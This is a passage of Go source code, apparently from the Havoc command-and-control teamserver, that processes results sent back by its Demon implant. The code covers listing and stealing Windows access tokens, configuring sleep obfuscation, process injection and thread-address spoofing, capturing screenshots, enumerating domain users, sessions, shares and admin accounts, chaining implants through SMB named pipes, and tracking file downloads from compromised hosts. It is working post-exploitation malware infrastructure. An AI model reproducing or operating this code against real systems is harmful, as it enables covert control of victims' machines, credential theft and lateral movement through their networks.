Buffer string DomainAndUser string NumTokens int ProcessPID int localHandle int integrity_level int integrity string impersonation_level int impersonation string TokenType int Type string Array [][]any MaxString int RemoteAuth string FmtString string FoundTokens bool ) if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { Successful = Parser.ParseInt32() MaxString = 0 logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_FIND_TOKENS, Successful: %d", AgentID, Successful)) if Successful == win32.TRUE { if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { NumTokens = Parser.ParseInt32() FoundTokens = NumTokens > 0 for NumTokens > 0 && Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { DomainAndUser = Parser.ParseUTF16String() ProcessPID = Parser.ParseInt32() localHandle = Parser.ParseInt32() integrity_level = Parser.ParseInt32() impersonation_level = Parser.ParseInt32() TokenType = Parser.ParseInt32() if integrity_level <= SECURITY_MANDATORY_LOW_RID { integrity = "Low" } else if integrity_level >= SECURITY_MANDATORY_MEDIUM_RID && integrity_level < SECURITY_MANDATORY_HIGH_RID { integrity = "Medium" } else if integrity_level >= SECURITY_MANDATORY_HIGH_RID && integrity_level < SECURITY_MANDATORY_SYSTEM_RID { integrity = "High" } else if integrity_level >= SECURITY_MANDATORY_SYSTEM_RID { integrity = "System" } RemoteAuth = "No" if TokenType == TokenImpersonation { Type = "Impersonation" if impersonation_level == SecurityAnonymous { impersonation = "Anonymous" } else if impersonation_level == SecurityIdentification { impersonation = "Identification" } else if impersonation_level == SecurityImpersonation { impersonation = "Impersonation" } else if impersonation_level == SecurityDelegation { impersonation = "Delegation" RemoteAuth = "Yes" } } else if TokenType == TokenPrimary { Type = "Primary" impersonation = "N/A" RemoteAuth = "Yes" } else { Type = "?" } Array = append(Array, []any{DomainAndUser, integrity, Type, impersonation, "Yes", RemoteAuth, ProcessPID, fmt.Sprintf("%x", localHandle)}) if len(DomainAndUser) > MaxString { MaxString = len(DomainAndUser) } NumTokens-- } if FoundTokens == true { if MaxString < 13 { MaxString = 13 } FmtString = fmt.Sprintf(" %%-%vv %%-9v %%-13v %%-16v %%-9v %%-10v %%-9v %%-9v\n", MaxString) Buffer += fmt.Sprintf(FmtString, " Domain\\User", "Integrity", "TokenType", "Impersonation LV", "LocalAuth", "RemoteAuth", "ProcessID", "Handle") Buffer += fmt.Sprintf(FmtString, strings.Repeat("-", MaxString), "---------", "-------------", "----------------", "---------", "----------", "---------", "------") for _, item := range Array { if item[7] == "0" { item[7] = "" } Buffer += fmt.Sprintf(FmtString, item[0], item[1], item[2], item[3], item[4], item[5], item[6], item[7]) } Buffer += "\nTo impersonate a user, run: token steal [process id] (handle)" } else { Buffer += "No tokens found" } Output["Type"] = "Info" Output["Message"] = "Tokens available:" Output["Output"] = "\n" + Buffer a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_FIND_TOKENS, Invalid packet: %d", AgentID)) } } else { Output["Type"] = typeError Output["Message"] = "Failed to list existing tokens" } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_FIND_TOKENS, Invalid packet", AgentID)) } break case DEMON_COMMAND_TOKEN_CLEAR: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_CLEAR", AgentID)) Output["Type"] = typeGood Output["Message"] = "Token vault has been cleared" a.RequestCompleted(RequestID) break default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - UNKNOWN (%d)", AgentID, SubCommand)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN, Invalid packet", AgentID)) } break case COMMAND_CONFIG: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( Message = make(map[string]string) Config int ConfigData any ) Config = Parser.ParseInt32() Message["Type"] = "Good" switch Config { case CONFIG_MEMORY_ALLOC: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_MEMORY_ALLOC", AgentID)) ConfigData = Parser.ParseInt32() Message["Message"] = fmt.Sprintf("Default memory allocation set to %v", ConfigData.(int)) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_MEMORY_ALLOC, Invalid packet", AgentID)) } break case CONFIG_MEMORY_EXECUTE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_MEMORY_EXECUTE", AgentID)) ConfigData = Parser.ParseInt32() Message["Message"] = fmt.Sprintf("Default memory executing set to %v", ConfigData.(int)) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_MEMORY_EXECUTE, Invalid packet", AgentID)) } break case CONFIG_INJECT_SPAWN64: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_SPAWN64", AgentID)) ConfigData = Parser.ParseUTF16String() Message["Message"] = "Default x64 target process set to " + ConfigData.(string) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_SPAWN64, Invalid packet", AgentID)) } break case CONFIG_INJECT_SPAWN32: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_SPAWN32", AgentID)) ConfigData = Parser.ParseUTF16String() Message["Message"] = "Default x86 target process set to " + ConfigData.(string) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_SPAWN32, Invalid packet", AgentID)) } break case CONFIG_KILLDATE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt64}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_KILLDATE", AgentID)) a.Info.KillDate = Parser.ParseInt64() teamserver.AgentUpdate(a) if a.Info.KillDate == 0 { Message["Message"] = "KillDate was disabled" } else { Message["Message"] = "KillDate has been set" } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_KILLDATE, Invalid packet", AgentID)) } break case CONFIG_WORKINGHOURS: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_WORKINGHOURS", AgentID)) a.Info.WorkingHours = int32(Parser.ParseInt32()) teamserver.AgentUpdate(a) if a.Info.WorkingHours == 0 { Message["Message"] = "WorkingHours was disabled" } else { Message["Message"] = "WorkingHours has been set" } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_KILLDATE, Invalid packet", AgentID)) } break case CONFIG_IMPLANT_SPFTHREADSTART: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_SPFTHREADSTART", AgentID)) ConfigData = Parser.ParseString() + "!" + Parser.ParseString() Message["Message"] = "Sleep obfuscation spoof thread start addr to " + ConfigData.(string) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_SPFTHREADSTART, Invalid packet", AgentID)) } break case CONFIG_IMPLANT_SLEEP_TECHNIQUE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_SLEEP_TECHNIQUE", AgentID)) ConfigData = Parser.ParseInt32() Message["Message"] = fmt.Sprintf("Sleep obfuscation technique set to %v", ConfigData.(int)) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_SLEEP_TECHNIQUE, Invalid packet", AgentID)) } break case CONFIG_IMPLANT_COFFEE_VEH: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_COFFEE_VEH", AgentID)) ConfigData = Parser.ParseInt32() if ConfigData.(int) == 0 { ConfigData = "false" } else { ConfigData = "true" } Message["Message"] = fmt.Sprintf("Coffee VEH set to %v", ConfigData.(string)) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_COFFEE_VEH, Invalid packet", AgentID)) } break case CONFIG_IMPLANT_COFFEE_THREADED: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_COFFEE_THREADED", AgentID)) ConfigData = Parser.ParseInt32() if ConfigData.(int) == 0 { ConfigData = "false" } else { ConfigData = "true" } Message["Message"] = fmt.Sprintf("Coffee threading set to %v", ConfigData.(string)) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_COFFEE_THREADED, Invalid packet", AgentID)) } break case CONFIG_INJECT_TECHNIQUE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_TECHNIQUE", AgentID)) ConfigData = strconv.Itoa(Parser.ParseInt32()) Message["Message"] = "Set default injection technique to " + ConfigData.(string) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_TECHNIQUE, Invalid packet", AgentID)) } break case CONFIG_INJECT_SPOOFADDR: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_SPOOFADDR", AgentID)) ConfigData = Parser.ParseString() + "!" + Parser.ParseString() Message["Message"] = "Injection thread spoofing value set to " + ConfigData.(string) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_SPOOFADDR, Invalid packet", AgentID)) } break case CONFIG_IMPLANT_VERBOSE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_VERBOSE", AgentID)) ConfigData = Parser.ParseInt32() if ConfigData.(int) == 0 { ConfigData = "false" } else { ConfigData = "true" } Message["Message"] = fmt.Sprintf("Implant verbose messaging: %v", ConfigData.(string)) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_VERBOSE, Invalid packet", AgentID)) } break default: Message["Type"] = "Error" Message["Message"] = "Error while setting certain config" break } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG, Invalid packet", AgentID)) } break case COMMAND_SCREENSHOT: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( Success = Parser.ParseInt32() Message = make(map[string]string) ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SCREENSHOT, Success: %d", AgentID, Success)) if Success == 1 { if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var BmpBytes = Parser.ParseBytes() var Name = "Desktop_" + time.Now().Format("02.01.2006-05.04.05") + ".png" if len(BmpBytes) > 0 { err := logr.LogrInstance.DemonSaveScreenshot(a.NameID, Name, BmpBytes) if err != nil { Message["Type"] = "Error" Message["Message"] = "Failed to take a screenshot: " + err.Error() return } Message["Type"] = "Good" Message["Message"] = "Successful took screenshot" Message["MiscType"] = "screenshot" Message["MiscData"] = base64.StdEncoding.EncodeToString(BmpBytes) Message["MiscData2"] = Name } else { Message["Type"] = "Error" Message["Message"] = "Failed to take a screenshot" } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SCREENSHOT, Invalid packet", AgentID)) } } else { Message["Type"] = "Error" Message["Message"] = "Failed to take a screenshot" } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SCREENSHOT, Invalid packet", AgentID)) } break case COMMAND_NET: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( NetCommand = Parser.ParseInt32() Message = make(map[string]string) ) switch NetCommand { case DEMON_NET_COMMAND_DOMAIN: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var Domain = Parser.ParseString() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_DOMAIN, Domain: %s", AgentID, Domain)) if Domain == "" { Message["Type"] = "Good" Message["Message"] = "The machine does not seem to be joined to a domain" } else { Message["Type"] = "Good" Message["Message"] = fmt.Sprintf("Domain for this Host: %s", Domain) } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_DOMAIN, Invalid packet", AgentID)) } break case DEMON_NET_COMMAND_LOGONS: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_LOGONS", AgentID)) var ( Index int Output string ) if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var Domain = Parser.ParseUTF16String() Output += fmt.Sprintf(" %-12s\n", "Usernames") Output += fmt.Sprintf(" %-12s\n", "---------") for Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var Name = Parser.ParseUTF16String() Index++ Output += fmt.Sprintf(" %-12s\n", Name) } Message["Type"] = "Info" Message["Message"] = fmt.Sprintf("Logged on users at %s [%v]: ", Domain, Index) Message["Output"] = "\n" + Output a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_LOGONS, Invalid packet", AgentID)) } break case DEMON_NET_COMMAND_SESSIONS: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_SESSIONS", AgentID)) var ( Index int Buffer bytes.Buffer Data [][]string ) if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var Domain = Parser.ParseUTF16String() table := tablewriter.NewWriter(&Buffer) table.SetBorder(false) table.SetHeader([]string{"Computer", "Username", "Active", "Idle"}) table.SetBorder(false) table.SetHeaderAlignment(tablewriter.ALIGN_CENTER) // table.SetRowSeparator("-") table.SetColumnSeparator(" ") table.SetCenterSeparator(" ") for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32}) { var ( Client = Parser.ParseUTF16String() User = Parser.ParseUTF16String() Time = int(Parser.ParseInt32()) Idle = int(Parser.ParseInt32()) Column []string ) Index++ Column = []string{Client, User, strconv.Itoa(Time), strconv.Itoa(Idle)} Data = append(Data, Column) } table.AppendBulk(Data) table.Render() Message["Type"] = "Info" Message["Message"] = fmt.Sprintf("Sessions for %v [%v]: ", Domain, Index) Message["Output"] = "\n" + Buffer.String() a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_SESSIONS, Invalid packet", AgentID)) } break case DEMON_NET_COMMAND_COMPUTER: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_COMPUTER", AgentID)) a.RequestCompleted(RequestID) break case DEMON_NET_COMMAND_DCLIST: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_DCLIST", AgentID)) a.RequestCompleted(RequestID) break case DEMON_NET_COMMAND_SHARE: var ( Index int Buffer bytes.Buffer Data [][]string ) if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_SHARE", AgentID)) var Domain = Parser.ParseUTF16String() table := tablewriter.NewWriter(&Buffer) table.SetBorder(false) table.SetHeader([]string{"Share name", "Path", "Remark", "Access"}) table.SetBorder(false) table.SetHeaderAlignment(tablewriter.ALIGN_CENTER) // table.SetRowSeparator("-") table.SetColumnSeparator(" ") table.SetCenterSeparator(" ") for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadInt32}) { var ( Name = Parser.ParseUTF16String() Path = Parser.ParseUTF16String() Remark = Parser.ParseUTF16String() Access = int(Parser.ParseInt32()) Column []string ) Index++ Column = []string{Name, Path, Remark, strconv.Itoa(Access)} Data = append(Data, Column) } table.AppendBulk(Data) table.Render() Message["Type"] = "Info" Message["Message"] = fmt.Sprintf("Shares for %v [%v]: ", Domain, Index) Message["Output"] = "\n" + Buffer.String() a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_SHARE, Invalid packet", AgentID)) } break case DEMON_NET_COMMAND_LOCALGROUP: var Data string if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_LOCALGROUP", AgentID)) var Domain = Parser.ParseUTF16String() Data += fmt.Sprintf(" %-48s %s\n", "Group", "Description") Data += fmt.Sprintf(" %-48s %s\n", "-----", "-----------") for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes}) { var ( Group = Parser.ParseUTF16String() Description = Parser.ParseUTF16String() ) Data += fmt.Sprintf(" %-48s %s\n", Group, Description) } Message["Type"] = "Info" Message["Message"] = fmt.Sprintf("Local Groups for %v: ", Domain) Message["Output"] = "\n" + Data a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_LOCALGROUP, Invalid packet", AgentID)) } break case DEMON_NET_COMMAND_GROUP: var Data string if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_GROUP", AgentID)) var Domain = Parser.ParseUTF16String() Data += fmt.Sprintf(" %-48s %s\n", "Group", "Description") Data += fmt.Sprintf(" %-48s %s\n", "-----", "-----------") for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes}) { var ( Group = Parser.ParseUTF16String() Description = Parser.ParseUTF16String() ) Data += fmt.Sprintf(" %-48s %s\n", Group, Description) } Message["Type"] = "Info" Message["Message"] = fmt.Sprintf("List groups on %s: ", Domain) Message["Output"] = "\n" + Data a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_GROUP, Invalid packet", AgentID)) } break case DEMON_NET_COMMAND_USERS: var Data string if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_USERS", AgentID)) var Target = Parser.ParseUTF16String() for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32}) { var ( User = Parser.ParseUTF16String() Admin = Parser.ParseInt32() ) if Admin == win32.TRUE { Data += fmt.Sprintf(" - %s (Admin)\n", User) } else { Data += fmt.Sprintf(" - %s \n", User) } } Message["Type"] = "Info" Message["Message"] = fmt.Sprintf("Users on %v: ", Target) Message["Output"] = "\n" + Data a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - DEMON_NET_COMMAND_USERS, Invalid packet", AgentID)) } break default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET - UNKNOWN (%d)", AgentID, NetCommand)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_NET, Invalid packet", AgentID)) } break case COMMAND_PIVOT: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( PivotCommand = Parser.ParseInt32() Message = make(map[string]string) ) switch PivotCommand { case DEMON_PIVOT_LIST: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_LIST", AgentID)) var ( Data string Count int ) Data += fmt.Sprintf(" %-10s %s\n", "DemonID ", "Named Pipe") Data += fmt.Sprintf(" %-10s %s\n", "--------", "-----------") for Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes}) { var ( DemonId int NamedPipe string ) DemonId = Parser.ParseInt32() NamedPipe = Parser.ParseUTF16String() Data += fmt.Sprintf(" %-10x %v\n", DemonId, NamedPipe) Count++ } if Count > 0 { Message["Type"] = "Info" Message["Message"] = fmt.Sprintf("Pivot List [%v]: ", Count) Message["Output"] = "\n" + Data } else { Message["Type"] = "Info" Message["Message"] = fmt.Sprintf("No pivots connected") } a.RequestCompleted(RequestID) case DEMON_PIVOT_SMB_CONNECT: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var Success = Parser.ParseInt32() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_CONNECT, Success: %d", AgentID, Success)) // if we successfully connected to the SMB named pipe if Success == 1 { if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var ( DemonData = Parser.ParseBytes() AgentHdr Header err error ) // parse the agent header if AgentHdr, err = ParseHeader(DemonData); err == nil { if AgentHdr.MagicValue == DEMON_MAGIC_VALUE { // ignore the RequestID AgentHdr.Data.ParseInt32() // ignore the CommandID AgentHdr.Data.ParseInt32() var DemonInfo *Agent // if agent exist then just retrieve the instance by agent id if teamserver.AgentExist(AgentHdr.AgentID) { DemonInfo = teamserver.AgentInstance(AgentHdr.AgentID) Message["MiscType"] = "reconnect" Message["MiscData"] = fmt.Sprintf("%v;%x", a.NameID, AgentHdr.AgentID) if DemonInfo.Pivots.Parent != nil { for i := range DemonInfo.Pivots.Parent.Pivots.Links { if DemonInfo.Pivots.Parent.Pivots.Links[i].NameID == fmt.Sprintf("%08x", AgentHdr.AgentID) { DemonInfo.Pivots.Parent.Pivots.Links = append(DemonInfo.Pivots.Parent.Pivots.Links[:i], DemonInfo.Pivots.Parent.Pivots.Links[i+1:]...) break } } } DemonInfo.Active = true DemonInfo.Reason = "" DemonInfo.Pivots.Parent = a a.Pivots.Links = append(a.Pivots.Links, DemonInfo) teamserver.LinkAdd(a, DemonInfo) teamserver.AgentUpdate(DemonInfo) teamserver.AgentUpdate(a) } else { // if the agent doesn't exist then we assume that it's a register request from a new agent DemonInfo = ParseDemonRegisterRequest(AgentHdr.AgentID, AgentHdr.Data, "") DemonInfo.Pivots.Parent = a a.Pivots.Links = append(a.Pivots.Links, DemonInfo) teamserver.LinkAdd(a, DemonInfo) DemonInfo.Info.MagicValue = AgentHdr.MagicValue teamserver.AgentAdd(DemonInfo) teamserver.AgentSendNotify(DemonInfo) } if DemonInfo != nil { Message["Type"] = "Good" Message["Message"] = "[SMB] Connected to pivot agent [" + a.NameID + "]-<>-<>-[" + DemonInfo.NameID + "]" } else { Message["Type"] = "Error" Message["Message"] = "[SMB] Failed to connect: failed to parse the agent" } } else { Message["Type"] = "Error" Message["Message"] = "[SMB] Failed to connect: magic value isn't demon type" } } else { Message["Type"] = "Error" Message["Message"] = "[SMB] Failed to connect: " + err.Error() } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_CONNECT, Invalid packet", AgentID)) Message["Type"] = "Error" Message["Message"] = "[SMB] Failed to connect: Invalid response" } } else { if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { logger.Debug("DEMON_PIVOT_SMB_CONNECT: Failed") var ( ErrorCode = Parser.ParseInt32() ErrorString, found = Win32ErrorCodes[ErrorCode] ) ErrorString += " " if !found { ErrorString = "" } Message["Type"] = "Error" Message["Message"] = fmt.Sprintf("[SMB] Failed to connect: %v [%v]", ErrorString, ErrorCode) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_CONNECT, Invalid packet", AgentID)) } } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_CONNECT, Invalid packet", AgentID)) } break case DEMON_PIVOT_SMB_DISCONNECT: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( Success = Parser.ParseInt32() AgentID = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_DISCONNECT, Success: %d, AgentID: %x", AgentID, Success, AgentID)) if Success == win32.TRUE { Message["Type"] = "Info" Message["Message"] = fmt.Sprintf("[SMB] Agent disconnected %x", AgentID) Message["MiscType"] = "disconnect" Message["MiscData"] = fmt.Sprintf("%08x", AgentID) AgentInstance := teamserver.AgentInstance(AgentID) if AgentInstance != nil { teamserver.LinkRemove(a, AgentInstance, true) } } else { Message["Type"] = "Error" Message["Message"] = fmt.Sprintf("[SMB] Failed to disconnect agent %x", AgentID) } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_DISCONNECT, Invalid packet", AgentID)) } break case DEMON_PIVOT_SMB_COMMAND: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var ( Package = Parser.ParseBytes() AgentHdr, err = ParseHeader(Package) ) if err == nil { if AgentHdr.MagicValue == DEMON_MAGIC_VALUE { var PivotAgent *Agent PivotAgent = teamserver.AgentInstance(AgentHdr.AgentID) if PivotAgent != nil { PivotAgent.UpdateLastCallback(teamserver) //logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_COMMAND, Linked Agent: %s, Command: %d", AgentID, PivotAgent.NameID, Command)) // while we can read a command and request id, parse new packages first_iter := true for (AgentHdr.Data.CanIRead(([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}))) { var Command = uint32(AgentHdr.Data.ParseInt32()) var Request = uint32(AgentHdr.Data.ParseInt32()) if first_iter { first_iter = false // if the message is not a reconnect, decrypt the buffer AgentHdr.Data.DecryptBuffer(PivotAgent.Encryption.AESKey, PivotAgent.Encryption.AESIv) } /* The agent is sending us the result of a task */ if Command != COMMAND_GET_JOB { Parser := parser.NewParser(AgentHdr.Data.ParseBytes()) PivotAgent.TaskDispatch(Request, Command, Parser, teamserver) } } } else { Message["Type"] = "Error" Message["Message"] = fmt.Sprintf("Can't process output for %x: Agent not found", AgentHdr.AgentID) } } else { Message["Type"] = "Error" Message["Message"] = "[SMB] Response magic value isn't demon type" } } else { Message["Type"] = "Error" Message["Message"] = "[SMB] Failed to parse agent header: " + err.Error() } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - DEMON_PIVOT_SMB_COMMAND, Invalid packet", AgentID)) } break default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT - UNKNOWN (%d)", AgentID, PivotCommand)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PIVOT, Invalid packet", AgentID)) } break case COMMAND_TRANSFER: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( SubCommand = Parser.ParseInt32() Message map[string]string ) switch SubCommand { case DEMON_COMMAND_TRANSFER_LIST: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_LIST", AgentID)) var ( Data string Count int ) Data += fmt.Sprintf(" %-8s %-8s %-8s %-8s %s\n", "File ID", "Size", "Progress", "State", "File") Data += fmt.Sprintf(" %-8s %-8s %-8s %-8s %s\n", "-------", "----", "--------", "-----", "----") for Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( FileID = Parser.ParseInt32() Size = Parser.ParseInt32() State = Parser.ParseInt32() ) if download := a.DownloadGet(FileID); download != nil { var ( StateString string Progress string ) if State == DOWNLOAD_STATE_RUNNING { StateString = "Running" } else if State == DOWNLOAD_STATE_STOPPED { StateString = "Stopped" } else if State == DOWNLOAD_STATE_REMOVE { /* pending remove */ StateString = "Removed" } Progress = fmt.Sprintf("%.2f%%", common.PercentageChange(Size, download.TotalSize)) Data += fmt.Sprintf(" %-8x %-8s %-8s %-8s %s\n", FileID, common.ByteCountSI(int64(download.TotalSize)), Progress, StateString, download.FilePath) Count++ } } Message = map[string]string{ "Type": "Info", "Message": fmt.Sprintf("List downloads [%v current downloads]:", Count), "Output": "\n" + Data, } a.RequestCompleted(RequestID) break case DEMON_COMMAND_TRANSFER_STOP: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( Found = Parser.ParseInt32() FileID = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TRANSFER - DEMON_COMMAND_TRANSFER_STOP, Found: %d, FileID: %x", AgentID, Found, FileID)) if Found == win32.TRUE { if download := a.DownloadGet(FileID); download != nil { Message = map[string]string{ "Type": "Good", "Message": fmt.Sprintf("Successful found and stopped download: %x", FileID), } } else { 